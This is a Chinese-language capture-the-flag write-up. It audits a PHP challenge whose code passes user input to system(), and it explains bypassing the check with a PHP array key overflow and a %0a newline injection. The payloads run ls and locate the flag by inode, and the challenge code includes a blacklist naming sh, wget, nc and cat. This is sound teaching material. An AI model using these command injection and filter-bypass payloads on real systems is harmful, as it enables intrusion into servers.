打开页面,发现一串代码,代码审计:
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
解决目的就是读懂代码,然后构造出payload绕过限制:
if($stuff === $array && $stuff[0] != 'admin')
:stuff[0]
不能等于admin
,但stuff
又是等于array
的,代码中的//php5.5.9
提示肯定是有用的,去查阅资料有PHP数组key溢出问题。preg_match("/^\d+$/im",$num)
:检测是不是全是数字,preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
:相当于一个黑名单,过滤了一些
接下来构造payload,绕过成功:
stuff[4294967296]=admin&stuff[1]=user&num=123
用跨行%0a去绕过数字检测,构造payload看目录:
num=123%0als
num=123&%0als /
:
发现有flag,但由于这道题过滤了cat等,所以通过innode索引结点去看flag(在Linux中,每个文件都有自己的innode编号的,可以通过innode表去查找目标文件):
num=123%0als / -i
flag的innode为15993546,用tac去查看flag文件,拿到flag:
(反引号作用就是先执行反引号里面的内容)
总结:
数组key溢出漏洞
跨行检测绕过
tac、innode使用